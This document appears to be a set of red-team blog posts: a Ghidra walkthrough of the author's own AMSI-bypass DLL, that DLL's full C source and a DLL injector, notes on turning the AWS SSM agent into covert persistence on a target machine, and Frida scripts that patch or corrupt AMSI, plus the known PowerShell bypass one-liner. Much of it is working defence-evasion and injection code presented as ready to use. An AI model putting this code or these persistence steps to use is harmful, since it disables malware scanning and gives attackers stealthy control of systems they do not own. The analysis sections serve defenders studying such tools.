I recently completed FOR710, a SANS training course that dives deep into reverse engineering malware with Ghidra and various other tools. I found it hugely rewarding, but it was also clear to me that this is the kind of skill that gets rusty very quickly if you don’t keep at it.

Over the course of my career, I’ve written various pieces of software that might uncharitably be called malware. Part of the reason I took FOR710 in the first place was to understand what my binaries look like from the defensive perspective (I also thought it might help with black-box vulnerability research).

So, why not combine the two? By reverse engineering things I’ve written in the past, I can hone my reverse engineering skills. At the same time, I hope it will improve my understanding of the artifacts I left behind in code that was trying to be stealthy. That’s the idea, anyway.

For this first article in the series, I’ll be revisiting the AMSI breakpoint proof of concept I showcased in Frida vs. AMSI - Beyond Prototyping. I wrote that PoC to showcase a technique for evading EDR, but didn’t make any attempts to obfuscate the code itself. You can refer to the previous article to see the source code of the original tool. I won’t be referencing or reproducing it here, as the point is to infer what the DLL does without access to the original source code.

This should be very easy to reverse engineer, so let’s consider this a bit of a warmup!

Initial Analysis

I applied only the most basic obfuscation before analysing amsi-breakpoint.dll. I compiled it with gcc -s to strip debugging symbols, and then ran strip on it for good measure. Then I loaded it into Ghidra and analysed it.

Ghidra easily identified it as a binary that was compiled with GCC. Compiling a Windows binary with MingGW GCC is a little unusual compared to using native Microsoft toolchains, and might be an early red flag for a malware analyst. There was also a single error about missing MinGW relocation tables, presumably because it’s a stripped binary. Ghidra complained, but seemed to analyse it without issue.

Interestingly, the binary still contains a bunch of named functions in the export directory even though I stripped it!

A little reading indicates that MinGW will actually export everything by default when you use it to create a DLL, not just DllMain(). This was news to me! Apparently you need to include this annotation:

__attribute__((dllexport))

When you do that, all of the functions you didn’t annotate will be hidden by default. I didn’t want to make things too easy on myself, so I did that and recompiled it.

Much better!

Finding the Entrypoint

We can still see the DllMain export in the screenshot above. Since this a DLL and there’s nothing else in the export table that looks interesting, it’s a safe bet that this is going to be the entrypoint to our user-generated code. Still, in the interest of thoroughness we might want to confirm that this is indeed the main entrypoint for the binary.

CFF Explorer shows that the ImageBase of the DLL is 0x6980000, and the AddressOfEntryPoint field is 0x1350. Within Ghidra, the pseudo-mapped address 0x69801350 corresponds to the entry symbol. So that’s our program entrypoint. Exploring outgoing references from there, we can see DllMain is ultimately invoked from the entrypoint:

We can assert with a fair amount of confidence that DllMain is the start of user-generated code, even if that wasn’t obvious already. We’ll bookmark it for easy reference and begin investigating it in more detail.

Analysing the Entrypoint

Here’s what we have to work with:

(click the image if you can’t see it very well)

Reverse engineering often requires us to delve into the disassembly, but the decompiler output for this binary isn’t actually bad. Ghidra has automatically identified the Windows API call invocations, so there are only a few user-defined functions we’re not sure about the provenance of. We can make things even clearer by annotating the correct arguments and return value for DllMain():

We can already infer a few things that are happening here:

1. We’re adding a Vectored Exception Handler, so presumably this DLL is expecting to handle an exception at some point. It’s common for malware authors to use a VEH as a way to trigger a payload.
2. We’re getting the current pid, along with a handle to AMSI.DLL. We might therefore assume that some kind of process manipulation will take place.
3. We’re looking up the address of a specific symbol within AMSI, DllCanUnloadNow(). According to MSDN, this is just a standard function that is exported by DLLs that are to be dynamically loaded.

We can guess that the purpose of this DLL is to interfere with AMSI somehow, probably for the current process. However, the exact mechanism is still unclear. We have three avenues to explore:

• LAB_69801464: This is the pointer passed to AddVectoredExceptionHandler(), containing the function that’ll be used to catch exceptions. It’s very likely this is where the actual AMSI bypass will occur.
• FUN_698013f4: This function is passed the address of DllCanUnloadNow(). It’s also passed a pointer to a hardcoded string of bytes which we can’t immediately identify. It’s unclear what it does.
• FUN_69801627: This function only executes if fdwReason is 1, or “DLL_PROCESS_ATTACH”. That is to say, it executes when the DLL is loaded. Therefore, it’s probably responsible for performing some kind of setup.

Analysing LAB_69801464

Since we’ve assessed that this symbol is where the AMSI bypass is likely to occur, this is where we’ll start. We already know it’s a VectoredHandler, so we can annotate the function with the correct arguments and parameters:

(click the image if you can’t see it very well)

Since it’s so well-annotated, this is actually pretty straightforward to analyse. First of all, we’re checking for exception code 0x80000004. This is the exception code for EXCEPTION_SINGLE_STEP as per MSDN, which immediately tells us that this VEH is expecting to be triggered by a breakpoint.

We can also see another call to FUN_698013f4, which we saw previously in DllMain(). Here’s what it looked like back then:

pauVar2 = FUN_698013f4(
	dllCanUnloadNowAddr,	// pointer to DllCanUnloadNow()
	&DAT_6980901c, 		// pointer to a mystery buffer of hardcoded bytes
	0x18, 			// size of argument 2
	0xffff			// 65535
);

Here’s how it’s being called now:

DVar2 = FUN_698013f4(
	ExceptionInfo->ContextRecord->Rip,	// pointer to current instruction
	&DAT_69809000,				// pointer to a buffer which contains 0xC3
	1,					// size of argument 2
	500
);

FUN_698013f4 also has a return value, which must be a memory address since the VEH uses it to overwrite the value of RIP - redirecting execution to that address. Even without analysing FUN_698013f4 ourselves, we can probably make a guess at its purpose: it’s a memory scanner.

You pass it a memory address and a sequence of bytes. It returns a different memory address; the first instance of that sequence of those bytes in the scanned region. The final argument is probably the maximum number of bytes to scan. We can annotate the function as such:

Armed with this information, we can guess what this exception handler does. When it is triggered by a breakpoint, it scans the current function for the next RET instruction (opcode 0xC3). Then it redirects execution to that instruction, ensuring that the body of the function is never executed. It’s a patcher, one that works without ever modifying memory.

Analysing FUN_69801627

Let’s return to DllMain(), which looks a bit different now that we’ve introduced more context.

(click the image if you can’t see it very well)

Most of the program is now fairly clear:

• We already figured out that FUN_698013f4 is a memory scanner and renamed it accordingly, so there’s no need to spend any more time on it.
• We also know, broadly, that the purpose of this DLL is to short-circuit the current function whenever it receives an EXCEPTION_SINGLE_STEP.
• We can guess, from context, that the function(s) it’s meant to be short-circuiting are related to AMSI.

We can assume that FUN_69801627, the setup function we identified earlier, is responsible for setting those breakpoints in the first place. But how, exactly? Let’s start from the call to memory_scanner().

Now that we know how it works, we can see that it starts from the address of DllCanUnloadNow() and scans forward into the executable code of AMSI.DLL. It’s searching for a specific sequence of bytes; we can now infer that those bytes correspond to the signature of the actual function it wants to patch.

Let’s rename variables accordingly to make that clear:

FUN_69801627 is called with the PID of the current process and the address of the function we want to patch. It also gets passed the 3rd and 4th arguments from memory_scanner(), which makes less sense, but let’s take a deeper dive and see what we’re working with.

Remember when I said I wasn’t trying to be stealthy with this one? Thanks to a debug print statement left in the function, we can immediately see that we’re on the right track. It’s clear that the purpose of this function is to hook a memory address.

We can also see that Ghidra has gotten some of the auto-generated parameters wrong. These first two parameters should be a PID and a pointer based on what we saw in DllMain(), so let’s fix that.

Thanks to helpful annotation of Windows APIs by Ghidra, we can get the gist of what’s happening here. There are calls to CreateToolhelp32Snapshot() and Thread32First(), a popular technique for enumerating threads within the current process. It seems like we’re iterating over every thread, getting a handle to it with OpenThread(), and then invoking FUN_698014db on it.

Analysing FUN_698014db

It seems like FUN_698014db is where the actual breakpoint creation occurs - it gets passed a handle to every thread in the current process, along with the address of our target function. Let’s take a look. I’ve already annotated the arguments, since we know what they are.

(click the image if you can’t see it very well)

It might actually be hard to figure out what’s happening here without delving into the disassembly, but Ghidra has come to our rescue once again. It has automatically identified calls to GetThreadContext() and SetThreadContext() for us. These are two Windows APIs that can be used to manipulate the registers of a running thread.

Thanks to that, we can see that values are being assigned to the Dr0 and Dr7 registers… and that one of those values is the address of the function this DLL wants to patch. A quick google shows that Dr0 and Dr7 are debug registers used to set hardware breakpoints.

The Dr0 register is used to hold the address of the breakpoint, and the Dr7 register holds various bitflags that are used to configure, enable and disable breakpoints.

Conclusion

With that last step, we have the final piece of the puzzle. We now know exactly how this DLL works:

1. It scans memory starting from DllCanUnloadNow(), looking for the memory address of some function within AMSI.DLL.
2. It places a hardware breakpoint on that function, ensuring it will trigger an exception every time it is reached.
3. It registers a VEH to catch that breakpoint, which then short-circuits the function to prevent it from firing.

The only thing we don’t know is which exact function within AMSI.DLL is being patched. We could make some educated guesses based on common AMSI evasion techniques. We could use a debugger to figure out exactly where that breakpoint gets triggered. If we wanted, we could even load AMSI.DLL into Ghidra and perform a memory search ourselves, since we know the exact sequence of bytes that the DLL is searching for.

With limited obfuscation and a fairly straightforward control flow, analysing this binary was a breeze. I didn’t need to do any dynamic analysis or reverse-engineer any deobfuscation routines, and I didn’t need to dive into the disassembly at any point. Still, it was fun to take apart something I made!

I’m planning for this to be the first in a series. I’ve written a fair bit of “detection avoidant” software over the years - mostly as learning exercises, though some I’ve actually had the opportunity to deploy in red team engagements. I’m looking forward to sinking my teeth into something I actually designed to be stealthy!

In my previous article on bypassing AMSI, I discussed various approaches to disabling AMSI on a Windows system - by hooking and intercepting key functions, by patching them in memory, or by corrupting the data structures that AMSI relies on to function.

All of these techniques are certainly effective, and Frida was a great tool for rapidly implementing and experimenting with them.

However, none of them are particularly stealthy. Patching a process in memory is a fairly noisy activity. While it might not get picked up by every EDR as long as you’re not using signatured tooling, any product with a robust behavioural analysis function is likely to flag this as suspicious behaviour.

In this article, I’ll describe another approach to patching AMSI. I also hope to further demonstrate Frida’s usefulness as a rapid prototyping tool, as it was my earlier research using Frida that brought me here in the first place.

Patchless Patching

The basic idea is recognisable from the previous article in this series: we’re still patching the AmsiScanBuffer() function to short-circuit its functionality. In this case, we’re going to simply redirect execution to the RET instruction at the end of AmsiScanBuffer() whenever it gets invoked. The function will return instantly with a default return value of 0.

The way we’re going to execute that patch is different, however. We’re going to use hardware breakpoints to intercept AmsiScanBuffer(), a technique I can’t take credit for. I learned about it from an article in VXUnderground Black Mass Halloween 2022, which I highly recommend if you’re comfortable with C. It’s a great read.

The basic idea works as follows:

1. Create a DLL which must be injected into or loaded by the process you want to patch AMSI for.
2. Within DllMain(), identify the memory address of the DllCanUnloadNow() function in the mapped version of AMSI.DLL. It precedes the function we’re actually interested in.
3. Use egg-hunting techniques to scan forward from DllCanUnloadNow(), searching for the start of AmsiScanBuffer(). This indirect approach helps with evasion, as per the old @am0nsec implementation.
4. Manipulate debug registers to set a hardware breakpoint on the address of AmsiScanBuffer(). When the function is invoked, a special exception will be thrown.
5. Register an exception handler which manipulates the rip register to redirect execution to the end of the AmsiScanBuffer() function, bypassing it.

As with other egg-hunting AMSI patching techniques, this approach is somewhat fragile. The specific signatures we’re searching for will change between different versions of Windows, and the bypass will need to be manually adjusted to work on those newer builds.

Proof of Concept

Note that this is only a proof of concept and hasn’t been tested extensively. It doesn’t have error handling and isn’t opsec-friendly. Still, here’s what it looks like:

#include <windows.h>
#include <sys/types.h>
#include <processthreadsapi.h>
#include <stdio.h>
#include <tlhelp32.h>

// AMSI Bypass DLL via Hardware Breakpoints
// Find some way to load or inject this DLL into your process and it will hook AmsiScanBuffer().
// Compilation: x86_64-w64-mingw32-gcc amsi-breakpoint.c -shared -o  amsi-breakpoint.dll

// A simple memory scanner for the purpose of finding ROP gadgets.
uintptr_t find_egg(uintptr_t addr, char *egg, int size, int max)
{
    for (int i = 0; i < max; i++)
    {
        if (memcmp((LPVOID)(addr + i), egg, size) == 0) {
            return (addr + i);
        }
    }
    return 0;
}

// Exception handler that gets invoked when the breakpoints trigger.
// It uses find_egg() to identify the RET instruction at the end of AmsiScanBuffer() and redirect execution to it.
// This effectively patches the function to return 0.
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) {
	// Validate that it's a single-step exception, thrown by the hardware breakpoint.
	if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) {
		// Search forwards from the current location for a RET instruction and move the instruction pointer to it.
		uintptr_t rip = ExceptionInfo->ContextRecord->Rip;
		uintptr_t newrip = find_egg(rip, "\xc3", 1, 500);
		ExceptionInfo->ContextRecord->Rip = newrip;
		return EXCEPTION_CONTINUE_EXECUTION;
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

// Set a hardware breakpoint on a thread by manipulating the debug registers of its thread context.
BOOL set_hardware_breakpoint(HANDLE thd, uintptr_t address) {
	CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
	GetThreadContext(thd, &context);
	
	// set the breakpoint address
	context.Dr0 = (uintptr_t) address;

	// set bits 0 and 1 of dr7 to '10' (enable dr0 local breakpoint)
	context.Dr7 |= 1ull << 0;
	context.Dr7 &= ~(1ull << 1);

	// set bits 16 and 17 of dr7 to '00' (set dr0 break trigger to "execute")
	context.Dr7 &= ~(1ull << 16);
	context.Dr7 &= ~(1ull << 17);

	// set bits 18 and 19 of dr7 to '00' (set dr0 break size to 1 byte)
	context.Dr7 &= ~(1ull << 18);
	context.Dr7 &= ~(1ull << 19);	

	return SetThreadContext(thd, &context);
}


// Remove a hardware breakpoint on a thread by manipulating the debug registers of its thread context.
BOOL remove_hardware_breakpoint(HANDLE thd) {
	CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
	GetThreadContext(thd, &context);
	
	// unset the breakpoint address
	context.Dr0 = 0ull;
	
	// unset bit 0 of dr7
	context.Dr7 &= ~(1ull << 0);
	
	return SetThreadContext(thd, &context);
}

// Iterate through the threads associated with a process and hook all of them with hardware breakpoints.
void hook_process(DWORD pid, uintptr_t addr) {
	HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
	THREADENTRY32 te = { .dwSize = sizeof(THREADENTRY32) };
	Thread32First(h, &te);

	do {
		if (te.th32OwnerProcessID == pid && (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))) {
			HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
			BOOL res = set_hardware_breakpoint(thd, addr);
			if (res) {
				printf("Hooked 0x%p on thread %i\n", addr, te.th32ThreadID);
			}
		}
	} while (Thread32Next(h, &te));

	CloseHandle(h);		
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
	const PVOID handler = AddVectoredExceptionHandler(1, ExceptionHandler);	
	const DWORD pid = GetCurrentProcessId();
	
	// Find the target address using a signature-based technique for evasion. Signature may need to be updated for different Windows versions.
	char *egg = "\x4C\x8B\xDC\x49\x89\x5B\x08\x49\x89\x6B\x10\x49\x89\x73\x18\x57\x41\x56\x41\x57\x48\x83\xEC\x70";
	uintptr_t base = (uintptr_t)GetProcAddress(GetModuleHandleW(L"AMSI.dll"), "DllCanUnloadNow");
	uintptr_t addr = find_egg(base, egg, 24, 65535);

	switch(fdwReason) {
		case DLL_PROCESS_ATTACH:
			// Hook the target address.	
			hook_process(pid, addr);
			break;
		
		break;
	}
	
	return TRUE;
}

For testing purposes, you can use the following “injector” to load the DLL into memory:

#include <windows.h>
#include <sys/types.h>

void dll_inject(char *dll_path, pid_t pid) {
	HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);

	void *ptr = VirtualAllocEx(proc, 0, strlen(dll_path), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
	WriteProcessMemory(proc, ptr, dll_path, strlen(dll_path), 0);

	void *kernel32 = GetModuleHandle(TEXT("kernel32.dll"));
	void *loadLibAddr = GetProcAddress(kernel32, "LoadLibraryA");
	CreateRemoteThread(proc, NULL, 0, loadLibAddr, ptr, 0, NULL);	
}

void main() {
	dll_inject("C:\\Users\\IEUser\\Downloads\\amsi-breakpoint.dll", 2768);
}

Upon running inject.exe with the correct path and the PID of your Powershell process, you should find that AMSI has been disabled for it.

If you don’t, then you might need to adjust the “egg” to match the function signature of AmsiScanBuffer() for your version of Windows. The previous article describes how you can use Frida to easily extract those bytes.

Conclusion

I won’t be publishing the code for this AMSI bypass elsewhere, as I haven’t tested it extensively enough to be sure it functions reliably. On my Windows 10 testing VM, though, it was enough to bypass AMSI without triggering the (non-enterprise) Windows Defender present on the system.

Breakpoint hooking is a technique I have injected (pun intended) from my own reading, but everything else I did here builds on the things I learned about AMSI by using Frida to explore its functionality. I think it’s a great illustration of how you can use reverse engineering and instrumentation tools to go from idea to prototype, and then prototype to proof of concept.

I might now go from proof of concept to finished tooling. It could certainly do with proper error handling and clean up, as well as a bit more obfuscation to throw off signature-based detections. For example, we still have the “amsi.dll” string embedded in the binary, which isn’t ideal and would be easy to rectify.

Tools like this tend to get burned pretty quickly when you release them publicly, though, so I’ll probably leave any further development as an exercise for the reader.

From my personal notes.

Communication with the AWS API is often ignored by EDR, and the SSM agent is a legitimate utility that has a business use case in many environments. Using standard enterprise tooling instead of signature C2 frameworks is a great way to maintain stealthy persistence in a heavily monitored environment.

Step 1: Clone from https://github.com/aws/amazon-ssm-agent and build for Windows.
Step 2: Transfer all binaries from appropriate release folder to target machine. Put them in C:\Program Files\Amazon\SSM\ as a local administrator.
Step 3: Log into the AWS console for your own tenant. Navigate to Systems Manager, and from there to Hybrid Activations.
Step 4: Create a new hybrid activation. Record the activation code and ID.

Step 5: If required, set proxy information on the target machine:

set http_proxy=http://hostname:port
set https_proxy=http://hostname:port

Step 6: Using a local administrator account, register the target machine with AWS:

.\amazon-ssm-agent.exe -region "<region>" -id "<activation id>" -code "<activation code>" -register

Step 7: Invoke the agent as a local administrator:

.\amazon-ssm-agent.exe

You can now invoke run documents remotely on the machine as long as the agent is running. For example, to set up port forwarding:

aws ssm start-session --target <instance-id> --document-name AWS-StartPortForwardingSession --parameters '{"portNumber":["80"],"localPortNumber":["9999"]}'

If you want to use the interactive session manager shell (Windows Server only), go to https://github.com/rprichard/winpty/ and download the latest release. Then transfer winpty.dll and winpty-agent.exe to:

• C:\Program Files\Amazon\SSM\Plugins\SessionManagerShell\

The Anti-Malware Scan Interface, or AMSI, is a protective mechanism provided by Windows that’s separate from Windows Defender, or whatever EDR solution you employ to protect your endpoints. It aims to provide enhanced malware protection by exposing an interface that any program can use to submit buffers for scanning at any time, and receive a detection result in realtime.

As a result, we most often run into AMSI on the offensive side of things when we’re trying to execute payloads in memory. Any program can subscribe to AMSI in principle, but in practice the tool that integrates AMSI by default and which we’re mostly likely to run into as offensive researchers is Microsoft Powershell. It’s no surprise, then, that a lot of time and energy has been dedicated to bypassing it.

Since Frida is my current obsession, I got into wondering whether Frida would be useful for exploring and prototyping AMSI bypasses (spoiler alert: it is). In this article, I’ll show you how you can use Frida along with the Radare2 debugger to explore exactly how AMSI is loaded and used in memory, and to craft custom bypasses for it that don’t fit the profile of the classic one-liners everyone already knows.

Iterating on a Classic

Before we get deep into the internals of AMSI, let’s start with the classics. Most pentesters or redteamers who’ve found themselves googling for convenient one-liners to bypass AMSI will probably recognise the following snippet.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

This one works by setting a certain field in System.Management.Automation.AmsiUtils to true, which tricks AMSI into thinking it encountered an error during initialisation (effectively disabling it). It’s also so well-known as to be mostly useless as a one-liner, since the AMSI bypass is, itself, caught by AMSI. Another variant, less likely to be detected but more prone to breaking between different versions of Windows, works like so:

1. Get a handle to the base address of amsi.dll in the process, usually using something like LoadLibrary().
2. Find the address of the AmsiScanBuffer() function - often by finding some less suspicious function and scanning forward for a signature, to avoid provoking AMSI.
3. Patch the first few bytes of AmsiScanBuffer() so that it always returns zero.

To understand why this works, we should look at the helpfully documented function signature of AmsiScanBuffer(), provided for us by Microsoft:

HRESULT AmsiScanBuffer(
  [in]           HAMSICONTEXT amsiContext,
  [in]           PVOID        buffer,
  [in]           ULONG        length,
  [in]           LPCWSTR      contentName,
  [in, optional] HAMSISESSION amsiSession,
  [out]          AMSI_RESULT  *result
);

You pass this function various parameters, including the buffer you want to be scanned, and you get both an AMSI_RESULT containing the detection result, and a HRESULT containing the error code of the function. If the function returns zero immediately, however, then both the AMSI_RESULT and the HRESULT will still be zero. For the AMSI_RESULT, zero means “AMSI_RESULT_CLEAN”. For the HRESULT, zero means “S_OK”. That’s why patching AmsiScanBuffer() to always return zero is enough to effectively disable it.

Writing Our Own

Let’s warm up before we start trying to craft our own bypasses, and implement the classic AmsiScanBuffer() patch in Frida. We’ll write a script that identifies the location and signature of AmsiScanBuffer() to give you all the information you’d need to create your own stealthy AMSI patcher. Then we’ll attempt to actually do the patch ourself. Here are the steps we need to follow, then:

1. Find the base address of amsi.dll in the process.
2. Find the address of the AmsiScanBuffer() function, and print its location and its signature in memory.
3. Change the memory protections of the first three bytes of AmsiScanBuffer() to make it writable.
4. Overwrite the first three bytes with a few assembly instructions that force the function to return early with a value of zero.
5. Restore the memory protections to their original state.

Here’s what that looks like, when implemented as a Frida script:

var amsi = Process.getModuleByName("amsi.dll");

function bufferToHex (buffer) {
    return [...new Uint8Array (buffer)]
        .map (b => b.toString (16).padStart (2, "0"))
        .join (" ");
}

// find AmsiScanBuffer()
var scanner = DebugSymbol.getFunctionByName("AmsiScanBuffer");
var scannerOffset = scanner.sub(amsi.base);
console.log("AmsiScanBuffer() location: " + scanner + " (amsi.dll + " + scannerOffset + ")");

// print the first 24 bytes of the function
var signature = scanner.readByteArray(24);
console.log("AmsiScanBuffer() signature: " + bufferToHex(signature));

//change memory protections
console.log("Attempting to change memory protections...");
var oldProtect = Process.findRangeByAddress(scanner)["protection"];
Memory.protect(scanner, 3, "rw-");

//patch the function
console.log("Attempting to patch AmsiScanBuffer()...");
var patch = [0x31, 0xC0, 0xC3]; // xorq %rax,%rax; exit;
scanner.writeByteArray(patch);

//restore memory protections
console.log("Attempting to restore memory protections...");
Memory.protect(scanner, 3, oldProtect);

Pretty simple stuff, the kind of thing that Frida can do with its eyes closed. We can confirm it works by triggering AMSI before we inject the script:

And after:

After we inject the script and patch Frida, that classic and easily-detected one-liner no longer causes any complaints from AMSI when we execute it.

Alternate Bypasses

Now that we’ve warmed up and shown that Frida is fit for purpose, let’s change our focus to the AmsiOpenSession() function:

HRESULT AmsiOpenSession(
  [in]  HAMSICONTEXT amsiContext,
  [out] HAMSISESSION *amsiSession
);

This function is used to create the HAMSISESSION object that gets passed to AmsiScanBuffer(), and so it also gets called whenever a sample is sent to AMSI. Notice how just like AmsiScanBuffer(), it returns a HRESULT containing an error code when it completes. This is important - remember this outdated oneliner from before?

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

That one-liner works by manipulating the amsiInitFailed variable, but what if there were ways to ensure that variable gets set without manipulating its contents directly? It seems reasonable that causing AmsiScanBuffer() or AmsiOpenSession() to return a result other than S_OK would affect that variable.

To investigate exactly how we can make that happen, we should analyse the execution paths of the AmsiOpenSession() function. Radare2 in graph view gives us a nice summary of what’s going on:

(click the image if you can’t see it very well)

Looking at the call graph, we can see that there are two main execution paths through the function. The red path is contingent on a series of sanity checks passing; if they all pass, then execution continues through until the function ultimately returns with a value of zero, or S_OK. However, the green path is more interesting to us. If any of the checks fail, then we get to this instruction block:

This block moves 0x80070057 into %eax, and then returns from the function. A quick look at the Microsoft documentation for common HRESULT values shows us that 0x80070057 represents “E_INVALIDARG”. Seems like we’re in the right place, so let’s look at a few different ways we can get this function to return an error.

Here are all of the blocks that can potentially end up returning the E_INVALIDARG error, in order:

1. Test if %rdx is equal to zero. This is the second argument, or AmsiSession.
2. Test if %rcx is equal to zero. This is the first argument, or AmsiContext.
3. Compare the first DWORD of AmsiContext with a hardcoded signature value, 0x49534d41 (“AMSI”).
4. Test if the QWORD at AmsiContext+0x8 is equal to zero.
5. Test if the QWORD at AmsiContext+0x10 is equal to zero.

So, this gives a number of candidates for alternate bypasses:

1. Hook AmsiOpenSession() and force the return value to be 0x80070057.
2. Hook AmsiOpenSession() and replace the first argument with a null pointer.
3. Hook AmsiOpenSession() and replace the second argument with a null pointer.
4. Hook AmsiOpenSession() and replace the first argument with a pointer to an invalid buffer.
5. Hook AmsiOpenSession() and corrupt the first 4 bytes of AmsiContext.
6. Hook AmsiOpenSession() and zero out the QWORD at offset 0x8 or 0x10.

We don’t need to implement every single one of these to prove our point, but let’s do a few. Here’s an example that allocates a dummy buffer and replaces AmsiContext with it:

//find AmsiOpenSession()
var amsi = Process.getModuleByName("amsi.dll");
var target = amsi.getExportByName("AmsiOpenSession");

var E_INVALIDARG = 0x80070057;

//hook AmsiOpensession()

Interceptor.attach(target, {
	onEnter: function(args) {
		//Allocate a buffer to use as a dummy amsiContext argument.
		//It will be invalid, causing an error to be thrown.
		console.log("AmsiOpenSession() invoked! Let's cause problems :)");
		var buf = Memory.alloc(7096);
		Memory.protect(buf, 7096, "rw-");
		args[0] = buf;
	},
	onLeave: function(retval) {
		//Verify the E_INVALIDARG error was thrown by checking the function's return value.
		if (retval == E_INVALIDARG) {
			console.log("AmsiOpenSession() returned E_INVALIDARG; AMSI should now be disabled.");
			Interceptor.detachAll();
		}
	}
});

Here’s a script that corrupts the first 4 bytes of AmsiContext so that they contain something other than the signature value of “AMSI”:

//find AmsiOpenSession()
var amsi = Process.getModuleByName("amsi.dll");
var target = amsi.getExportByName("AmsiOpenSession");

var E_INVALIDARG = 0x80070057;

//hook AmsiOpensession()

Interceptor.attach(target, {
	onEnter: function(args) {
		//Replace the first four bytes of AmsiContext with "1337".
		//This will cause the signature check to fail and an error will be thrown.
		console.log("AmsiOpenSession() invoked! Let's cause problems :)");
		var buf = args[0];
		buf.writeByteArray(["1", "3", "3", "7"]);
	},
	onLeave: function(retval) {
		//Verify the E_INVALIDARG error was thrown by checking the function's return value.
		if (retval == E_INVALIDARG) {
			console.log("AmsiOpenSession() returned E_INVALIDARG; AMSI should now be disabled.");
			Interceptor.detachAll();
		}
	}
});

And finally, a script that writes 8 bytes of nulls to AmsiContext+0x8:

//find AmsiOpenSession()
var amsi = Process.getModuleByName("amsi.dll");
var target = amsi.getExportByName("AmsiOpenSession");

var E_INVALIDARG = 0x80070057;

//hook AmsiOpensession()

Interceptor.attach(target, {
	onEnter: function(args) {
		//Replace the pointer at AmsiContext+0x8 with zeroes.
		//This will cause a sanity check to fail and an error will be thrown.
		console.log("AmsiOpenSession() invoked! Let's cause problems :)");
		var buf = args[0].add(0x8);
		buf.writeByteArray([0, 0, 0, 0, 0, 0, 0, 0]);
	},
	onLeave: function(retval) {
		//Verify the E_INVALIDARG error was thrown by checking the function's return value.
		if (retval == E_INVALIDARG) {
			console.log("AmsiOpenSession() returned E_INVALIDARG; AMSI should now be disabled.");
			Interceptor.detachAll();
		}
	}
});

Each of these scripts takes a different approach towards the same result: the AmsiContext argument is somehow corrupted, causing AmsiOpenSession() to return E_INVALIDARG and set the amsiInitFailed variable to true. In each case, AMSI is then disabled for the lifetime of the process. Note that we used AmsiOpenSession() for a change of pace, but the control flow of AmsiScanBuffer() is very similar (almost the exact same checks are performed), so it would be easily applicable to that function with the same outcome.

Hooking is not Patching

Coming up with a bunch of different ways to hook AMSI functions and break them with Frida is pretty cool, but it’s not exactly portable. Any AMSI bypass that requires you to attach to a process with Frida is not exactly resilient. Ideally, we want something like the classic AmsiScanBuffer() patch we discussed earlier - a hassle-free way to corrupt AMSI in memory directly, without needing to hook into functions to do so.

The classic AmsiScanBuffer() patch works by simply short-circuiting the function and returning zero immediately, but we’ve seen that there’s a wide variety of ways to make the function return E_INVALIDARG and disable AMSI that way. The easiest thing to break in the form of a code patch is the check which compares the first four bytes of AmsiContext to a hardcoded signature value of “AMSI”.

All we need to do is find the hardcoded signature in the code and change it to something else. Whenever AmsiScanBuffer() checks for the signature, it will be using the wrong value as a baseline for the comparison - and will always return an error. We can use Frida’s memory scanning functionality to identify the exact sequence we’re interested in modifying, and then modify it:

var amsi = Process.getModuleByName("amsi.dll");

var amsiScanBuffer = amsi.getExportByName("AmsiScanBuffer");
var amsiEnd = amsi.base.add(amsi.size);

var size = amsiEnd.sub(amsiScanBuffer);
var sequence = "41 4D 53 49"; // 'AMSI'

Memory.scan(amsiScanBuffer, size.toInt32(), sequence, {
	onMatch(address, len) {
		console.log("Found 'AMSI' @ " + address);
		var oldProtect = Process.findRangeByAddress(address)["protection"];
		Memory.protect(address, 4, "rw-");
		console.log("Changed protections of target bytes");
		address.writeByteArray([0x31, 0x33, 0x33, 0x37]);
		console.log("Patched with '1337'");
		Memory.protect(address, 4, oldProtect);
		console.log("Restored memory protections");
	}
});

Or we could take a different approach entirely! We don’t have to patch the code - we can patch the data, instead. As long as the process has scanned something with AMSI at least once, there will be a global variable stored somewhere on the heap that contains an AmsiContext object for future use. If we can find it, we can corrupt it:

var heap = Process.enumerateMallocRanges();

for (var range of heap) {
	Memory.scan(range.base, range.size, "41 4D 53 49", {
		onMatch(address, size) {
			console.log("Found 'AMSI' @ " + address.toString());
			address.writeByteArray([0x31, 0x33, 0x33, 0x37]);
			console.log("Replaced with '1337'.")
		}
	});
}

The bottom line here is that, with access to the process and control over its virtual address space, there is no end to the different ways we can find and corrupt the structures that AMSI requires to work properly.

Patching AMSI in the CLR

We’ve demonstrated pretty thoroughly by now that AMSI doesn’t stand a chance against an attacker that has control over the process they’re trying to bypass it in, but so far all of our examples have exclusively targeted the way Powershell commands or script blocks are submitted to AMSI. But are there other commonly used programs or features that subscribe to AMSI?

The anwer is yes, there are! In fact, this helpful blog documents quite a few Microsoft utilities that instrument AMSI by default. Powershell instruments AMSI from System.Management.Automation.dll, for example - which makes sense, because the amsiInitFailed field is part of “System.Management.Automation.AmsiUtils”. Let’s pick out another example from that list:

.NET in-memory assembly loads: instrumented in .NET 4.8+ in clr.dll and coreclr.dll

That one seems interesting. Being able to use reflection to load a .NET assembly into Powershell is pretty useful from an offensive perspective. And sure enough, even if we use one of our AMSI bypasses from earlier, we’ll find that trying to load an assembly from memory gives us an error:

We’re not sure exactly where clr.dll (which is the Common Language Runtime that manages the .NET runtime environment) invokes and uses AMSI functionality, but it’s a pretty good bet that there’s a global variable somewhere that contains an AmsiContext object. If that is indeed the case, there will be a pointer to it somewhere in the memory ranges allocated to clr.dll.

A bruteforce approach to this problem begins to emerge:

1. Enumerate all of the readable and writable memory ranges allocated for clr.dll.
2. Scan each of those memory ranges for valid pointers to the heap.
3. Read 4 bytes from each pointer and check for the value “AMSI”.
4. If you get a hit, corrupt the pointer with a different value.

